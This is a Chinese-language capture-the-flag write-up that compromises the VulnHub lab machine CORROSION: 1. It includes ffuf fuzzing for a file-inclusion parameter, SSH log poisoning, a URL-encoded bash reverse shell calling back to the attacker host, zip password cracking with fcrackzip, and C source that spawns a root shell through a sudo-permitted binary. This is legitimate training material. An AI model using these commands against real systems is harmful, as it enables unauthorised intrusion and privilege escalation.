vulnhub靶场,CORROSION: 1
环境准备
靶机下载地址:https://www.vulnhub.com/entry/corrosion-1,730/
攻击机:kali(192.168.109.128)
靶机:CORROSION: 1(192.168.109.192)
下载好靶机之后直接使用VMware Workstation Pro虚拟机导入环境,启动即可,将网段设置为NAT模式
目标:获取目标靶机root目录下的flag
信息收集
使用arp-scan确定目标靶机
确定目标靶机IP为192.168.109.192
使用nmap扫描查看目标靶机开放端口
开放端口:22、80
浏览器访问目标80端口
没啥可利用的
目录扫描
gobuster dir -u http://192.168.109.192/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip
发现tasks
和blog-post
页面
访问tasks
页面
查看tasks_todo.txt
文件内容
这里说的是ssh服务的一些安全措施,可能是提示跟ssh有关
访问blog-post
页面
也没有发现什么,尝试对二级目录进行扫描
gobuster dir -u http://192.168.109.192/blog-post/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip
发现archives
页面,进行访问
看到randylogs.php
文件,进行访问
打开却发现一篇空白,根据前面给的ssh信息猜想可能是要去污染ssh日志文件,所以这里应该是有LFI的,但是不知道参数是什么,fuzz一波
ffuf -c -w /usr/share/wordlists/dirb/big.txt -u 'http://192.168.109.192/blog-post/archives/randylogs.php?FUZZ=/etc/passwd' -fs 0
参数是file,验证LFI
LFI验证成功
渗透过程
尝试包含ssh日志文件
包含成功,现在只需要讲一句话木马写进来即可
尝试执行命令看一句话是否写入成功
view-source:http://192.168.109.192/blog-post/archives/randylogs.php?file=/var/log/auth.log&cmd=ifconfig
可以看到命令执行成功了,进行反弹shell
kali:nc -lvvp 4444
靶机:view-source:http://192.168.109.192/blog-post/archives/randylogs.php?file=/var/log/auth.log&cmd=echo%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.109.128%2F4444%200%3E%261%22%20%7C%20bash
可以看到kali这边成功反弹回来一个shell
权限提升
查看当前用户的suid命令
没有什么能够利用的命令经过一番查看,在/var
目录下发现backups
文件,可能是备份文件
进入/var/backups
目录,发现一个zip文件
使用python搭建一个临时的http服务
kali这边将zip文件下载到本地
解压发现需要密码
使用fcrackzip
进行爆破
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u user_backup.zip
得到密码后进行解压,在my_password.txt文件里发现一个密码
进入靶机的家目录看看有几个用户
只有一个randy
用户,说明这个密码肯定是他的密码
ssh连接到randy
用户
成功连接,查看randy
用户的sudo命令
可以看到当前用户可以在无密码的情况下操作/home/randy/tools/easysysinfo
文件,进入这个目录进行查看
自己写一个权限提升的c代码去替换easysysinfo文件,然后编译即可
#include <unistd.h>
#include <stdlib.h>
void main()
{
setuid(0);
setgid(0);
system("bash -i");
}
没有vim
怎么办呢?换用nano
命令
gcc编译一下
使用sudo命令运行easysysinfo
文件
成功提升为root权限,在其root目录下面成功获取flag,靶机CORROSION: 1渗透结束